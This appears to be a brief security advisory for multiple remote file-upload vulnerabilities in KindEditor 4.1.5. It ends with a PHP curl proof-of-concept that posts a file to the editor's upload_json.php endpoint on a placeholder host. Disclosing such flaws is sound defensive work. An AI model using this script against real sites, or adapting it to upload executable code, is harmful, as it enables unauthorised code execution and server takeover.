KindEditor is prone to multiple remote file-upload vulnerabilities because it fails to sufficiently sanitize user-supplied input.
Attackers can exploit these issues to upload arbitrary code and run it in the context of the web server process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.
KindEditor 4.1.5 is vulnerable; other versions may also be affected.
<?php
$uploadfile="KedAns.txt";
$ch = curl_init("http://www.example.com/kindeditor/php/upload_json.php?dir=file");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('imgFile'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
?>
